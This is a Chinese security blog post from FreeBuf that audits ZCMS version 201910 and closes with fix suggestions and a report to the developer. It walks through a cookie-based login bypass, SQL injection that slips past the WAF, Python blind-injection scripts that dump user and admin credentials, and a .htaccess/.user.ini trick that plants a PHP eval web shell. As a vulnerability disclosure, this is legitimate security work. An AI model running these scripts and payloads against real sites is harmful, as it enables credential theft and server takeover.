freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

最新ZZCMS代码审计初探
2020-07-01 08:00:43

本次代码审计的目标是zzcms的最新版本201910。

下载地址为http://www.zzcms.net/about/6.htm。这次审计的主要范围是

  • /admin 默认后台管理目录(可任意改名)
  • /user 注册用户管理程序存放目录

首先按照手册说明安装并初始化

初始界面.png

成功初始化后的界面

逻辑漏洞导致越权

/user/check.php

/user目录下是普通用户功能的代码,大部分页面通过include("check.php");来验证用户是否登录,check.php代码逻辑如下

<?php
if (!isset($_COOKIE["UserName"]) || !isset($_COOKIE["PassWord"])){
echo "<script>location.href='/user/login.php';</script>";
}else{
    //验证用户名和密码
}
?>

正常登录的话应该是同时携带UserNamePassWord的cookie访问,然后在else中验证。但是在if中如果没有携带PassWord,代码做的仅仅是输出js来跳转,并没有阻止下面代码的执行,所以基本上仅仅是include('check.php')来验证是否登录的代码都可以通过传入携带任意UserName的cookie执行越权操作。

例如在/user/adv.php这是一个可以修改广告内容和图片的界面

adv界面.png

代码根据当前登录的用户名对数据库中的数据进行操作

query("update zzcms_textadv set adv='$adv',company='$company',advlink='$advlink',img='$img',passed=0 where username='".$_COOKIE["UserName"]."'");

然后再从数据库中取出数据,输出到html中

checkaddinfo.png

在攻击前,数据库中数据是这样的

advsql.png

如果攻击者发送如下数据包,Cookie: UserName=test

cstf.png

即使攻击者并未登录test用户,仍然能修改数据库中的内容

csrf2.png

这里只是用logout.php来示范,实际上可以进行危害更大的csrf。在后面提到的sql注入可以爆出所有的用户名,使这个漏洞有可利用的空间。攻击者可以在指定用户名的受害者不知情的情况下修改演示地址的链接,用户以为自己点的是广告的演示地址,实际上可能通过恶意链接执行了其他操作。

/admin/admin.php

存在和check.php一样的问题,代码如下:

<?php
include("../inc/conn.php");
if (isset($_COOKIE["admin"]) && isset($_COOKIE["pass"])){
    $sql="select * from zzcms_admin where admin='".$_COOKIE["admin"]."'";
    $rs=query($sql) or showmsg('查寻管理员信息出错');
    $ok=is_array($row=fetch_array($rs));
    if($ok){
        if ($_COOKIE["pass"]!=$row['pass']){
        showmsg('管理员密码不正确,你无权进入该页面','../"'.admin_mulu.'"/login.php');
        }
    }else{
    showmsg('管理员已不存在,你无权进入该页面','../"'.admin_mulu.'"/login.php');
    }
}else{
echo "<script>top.location.href = '../".admin_mulu."/login.php';</script>";
}
?>

可以只携带Cookie: admin=admin去访问。但是由于管理员的各项操作中都有checkadminisdo()函数再次检验权限,所以这个逻辑漏洞在后台实际上没什么作用。

sql注入

waf

首先分析框架中sql语句的执行方式:所有进行sql操作的页面都通过include("../inc/conn.php");来连接数据库和进行其他过滤。而防护代码在conn.php中通过include(zzcmsroot."/inc/stopsqlin.php");包含,也就是说,waf基本都在stopsqlin.php里面。

通读代码,有如下几个部分①

function zc_check($string){
    if(!is_array($string)){
        if(get_magic_quotes_gpc()){
         return htmlspecialchars(trim($string));
        }else{
        return addslashes(htmlspecialchars(trim($string)));
        }
     }
    foreach($string as $k => $v) $string[$k] = zc_check($v);
    return $string;
}

if($_REQUEST){
    $_POST =zc_check($_POST);
    $_GET =zc_check($_GET);
    $_COOKIE =zc_check($_COOKIE);
    @extract($_POST);
    @extract($_GET);    
}

如果$_REQUEST不为空(注意:如果$_REQUEST为空,也就是不存在getpost参数,此防护失效),对所有的postgetcookie参数进行转义,基本杜绝sql注入和xss

//过滤指定字符,
function stopsqlin($str){
if(!is_array($str)) {//有数组数据会传过来比如代理留言中的省份$_POST['province'][$i]
    $str=strtolower($str);//否则过过滤不全

    $sql_injdata = "";
    $sql_injdata= $sql_injdata."|".stopwords;
    $sql_injdata=CutFenGeXian($sql_injdata,"|");

    $sql_inj = explode("|",$sql_injdata);
    for ($i=0; $i< count($sql_inj);$i++){
        if (@strpos($str,$sql_inj[$i])!==false) {showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");}
    }
}    
}

$r_url=strtolower($_SERVER["REQUEST_URI"]);
if (checksqlin=="Yes") {
if (strpos($r_url,"siteconfig.php")==0 && strpos($r_url,"label")==0 && strpos($r_url,"template.php")==0) {
foreach ($_GET as $get_key=>$get_var){ stopsqlin($get_var);} /* 过滤所有GET过来的变量 */      
foreach ($_POST as $post_key=>$post_var){ stopsqlin($post_var);    }/* 过滤所有POST过来的变量 */
foreach ($_COOKIE as $cookie_key=>$cookie_var){ stopsqlin($cookie_var);    }/* 过滤所有COOKIE过来的变量 */
foreach ($_REQUEST as $request_key=>$request_var){ stopsqlin($request_var);    }/* 过滤所有request过来的变量 */

对所有getpostcookie参数进行黑名单过滤,黑名单stopwords/inc/config.php中定义,默认为

define('stopwords','select|update|and|or|delete|insert|truncate|char|into|iframe|script|得普利麻|易瑞沙|益赛普|赫赛汀|日达仙|百泌达|多吉美|拜科奇|赛美维|施多宁|派罗欣|妥塞敏|格列卫|特罗凯|手机窃听器|**') ;

漏洞成因

看起来这些防护已经足够,但是整个cms中存在不少不带任何getpost参数即可访问,并且通过cookie中的变量来执行sql操作,那么$_REQUEST实际上就为空,导致第一步转义不会触发,cookie中仍可以注入单引号,进一步可以执行sql语句。

/user/top.php

top.php中调用ShowUserSf()来生成html,代码如下

function ShowUserSf(){
    if ($_COOKIE["UserName"]<>"" ){
        $sql="select groupname,grouppic from zzcms_usergroup where groupid=(select groupid from zzcms_user where username='".$_COOKIE["UserName"]."')";
        $rs=query($sql);
        $row=fetch_array($rs);
        $rownum=num_rows($rs);
        if ($rownum){
        $str= "<b>".$row["groupname"]."</b><img src='../".$row["grouppic"]."'> " ;
        }

        $sql="select groupid,totleRMB,startdate,enddate from zzcms_user where username='" .$_COOKIE["UserName"]. "'";
        $rs=query($sql);
        $row=fetch_array($rs);
        $rownum=num_rows($rs);
        if ($rownum){
            if ($row["groupid"]>1){
            $str=$str ."服务时间:".$row["startdate"]." 至 ".$row["enddate"];
            }elseif ($row["groupid"]==1){
            $str=$str . "<a href='../one/vipuser.php' target='_blank'>查看我的权限</a>";
            }
        }else{
            $str=$str . "用户不存在";
        }        

    }else{
    $str=$str. "您尚未登录";
    }
echo $str;             
}

仅仅把$_COOKIE["UserName"]作为where条件来取出数据,如果成功取到数据,就打印查看我的权限,否则打印用户不存在,满足布尔盲注的条件。

top.php其实是/user目录下通用的文件,以/user/ask.php为例,通过简单的poc来测试构造数据包,没有任何getpost参数,仅仅是通过cookie进行注入

GET /user/ask.php HTTP/1.1
User-Agent: PostmanRuntime/7.25.0
Accept: */*
Cache-Control: no-cache
Postman-Token: 61080183-d3aa-4674-943d-dfb56440c9ac
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UserName=' || '1'='1'#

boolt.png

boolf.png

证实存在sql注入。接下来编写脚本脱库

import requests
import string

url = 'http://127.0.0.1/user/ask.php'
result = []

def get_column_by_id(uid, column):
    result = ''
    for x in range(50):
        flag = 1
        for i in string.ascii_letters + string.digits + '@.':
            cookies = {
                'UserName': f"' || {column} like '{result}{i}%' && id = {uid}#"
            }
            response = requests.get(url, cookies=cookies)
            # print(response.text)
            if "查看我的权限</a>)" in response.text:
                result += i
                break
            if i == '.':
                flag = 0

        if flag == 0:
            break

        print(f'[+] id: {uid}, {column}: ' + result)
    return result

for uid in range(1, 10):
    column_list = ['username','email','phone']
    tmp = [get_column_by_id(uid, i) for i in column_list]
    if '' not in tmp:
        result.append(tmp)

print(result)

结果如下

sqli.png

但是由于or被过滤了,导致password列注不出来,所以无法登陆任意普通用户

/admin/admin.php

admin.php还有一个很严重的sql注入,重新回顾一下代码

if (isset($_COOKIE["admin"]) && isset($_COOKIE["pass"])){
    $sql="select * from zzcms_admin where admin='".$_COOKIE["admin"]."'";
    $rs=query($sql) or showmsg('查寻管理员信息出错');
    $ok=is_array($row=fetch_array($rs));
    if($ok){
        if ($_COOKIE["pass"]!=$row['pass']){
        showmsg('管理员密码不正确,你无权进入该页面','../"'.admin_mulu.'"/login.php');
        }
    }else{
    showmsg('管理员已不存在,你无权进入该页面','../"'.admin_mulu.'"/login.php');
    }
}

/user/check.php不同的是,这里根据$_COOKIE["admin"]取出数据后,额外验证了$_COOKIE["pass"],所以不能简单盲注。但是这样的sql语句可以通过使用with rollup的方法绕过。同样不传递任何getpost参数,传递Cookie: admin=' || '1'='1' group by pass with rollup limit 1 offset 1#; pass=

adminsqlt.png

成功登录

adminsqlf.png

登录失败

满足布尔盲注条件,编写脚本

import requests
import string

url = 'http://127.0.0.1/admin/'
result = []

def get_column_by_id(uid, column):
    result = ''
    for x in range(50):
        flag = 1
        for i in string.ascii_lowercase + string.digits:
            cookies = {
                'admin': f"' || {column} like '{result}{i}%' && id = {uid} group by pass with rollup limit 1 offset 1#",
                'pass': ''
            }
            response = requests.get(url, cookies=cookies)
            # print(response.text)
            if "管理员已不存在,你无权进入该页面" not in response.text:
                result += i
                break
            if i == '9':
                flag = 0

        if flag == 0:
            break

        print(f'[+] id: {uid}, {column}: ' + result)
    return result

for uid in range(1, 10):
    column_list = ['admin', 'pass']
    tmp = [get_column_by_id(uid, i) for i in column_list]
    if '' not in tmp:
        result.append(tmp)

print(result)

结果如下

adminpass.png

巧的是,超级管理员表中密码列名为pass,没有or,导致可以成功注出所有超级管理员的账号密码,攻击者可以借此登录后台

后台.png

修改模板getshell

登录后台之后,下一步自然是想怎么进一步getshell,而由于模板管理模块的存在,这反而成了最简单的一步。

/admin/template.php可以在这里修改模板,模板默认存放目录为/template/red13/

模板.png

当然有过滤,但是很好绕过

if (strpos(strtolower($title),'php')!==false){
    showmsg('只能是htm或css这两种格式,模板名称:后面加上.htm或.css');
}
$start=stripfxg($_POST["start"],true);//stripfxg如果有自动加反斜杠去反斜杠

if (strpos(strtolower($start),'<?')!==false || strpos(strtolower($start),'<%')!==false){
    showmsg('有非法内容');
}

修改的文件后缀名不能为php,文件中不能包含<?<%,可以通过修改文件为.htaccess或者.user.ini来绕过

ht.png4.png

其中shell.b64中的内容是base64编码的<?php eval($_REQUEST[cmd]); ?>,成功getshell

getshell.png

修复建议

/user/check.php

if (!isset($_COOKIE["UserName"]) || !isset($_COOKIE["PassWord"])){
    echo "<script>location.href='/user/login.php';</script>";
}

修改为

if (!isset($_COOKIE["UserName"]) || !isset($_COOKIE["PassWord"])){
    echo "<script>location.href='/user/login.php';</script>";
    exit;
}

在输出跳转js后结束php代码

/inc/stopsqlin.php

if($_REQUEST){
    $_POST =zc_check($_POST);
    $_GET =zc_check($_GET);
    $_COOKIE =zc_check($_COOKIE);
    @extract($_POST);
    @extract($_GET);    
}

修改为

if($_COOKIE){
    $_COOKIE =zc_check($_COOKIE);
}
if($_REQUEST){
    $_POST =zc_check($_POST);
    $_GET =zc_check($_GET);
    @extract($_POST);
    @extract($_GET);    
}

/admin/template.php

if (strpos(strtolower($title),'php')!==false){
    showmsg('只能是htm或css这两种格式,模板名称:后面加上.htm或.css');
}

修改为白名单

$allow_exts = ['css', 'htm'];
if (!in_array(substr($title, strrpos($title, '.') + 1), $allow_exts)){
    showmsg('只能是htm或css这两种格式,模板名称:后面加上.htm或.css');
}

尾声

以上所有漏洞均已提交给开发者

提交.png

# 漏洞 # 代码审计
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者